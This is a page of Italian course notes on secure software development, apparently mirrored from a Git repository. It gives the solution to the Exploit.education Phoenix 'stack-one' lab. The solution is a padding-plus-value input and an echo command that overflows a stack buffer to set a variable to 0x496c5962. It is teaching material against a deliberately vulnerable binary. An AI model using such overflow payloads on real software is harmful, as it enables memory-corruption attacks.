unimore/appunti-steffo
unimore/appunti-steffo
1
Fork 0
mirror of https://github.com/Steffo99/appunti-magistrali.git synced 2024-11-22 02:44:17 +00:00
Code Activity
appunti-steffo/8 - Sviluppo di software sicuro/2 - Esercizi svolti/Exploit.education - Phoenix/01 - stack-one.md
Stefano Pigozzi 13530807d8
Initial commit
2023-09-21 02:46:23 +02:00

413 B
Raw Blame History

Stack One

Inserire aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabYlI come input.

bYlI manda buffer in overflow, impostando il valore di changeme ad "bYlI", ovvero 0x496c5962 (in architetture little-endian).

Soluzione

echo 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabYlI' | ./stack-one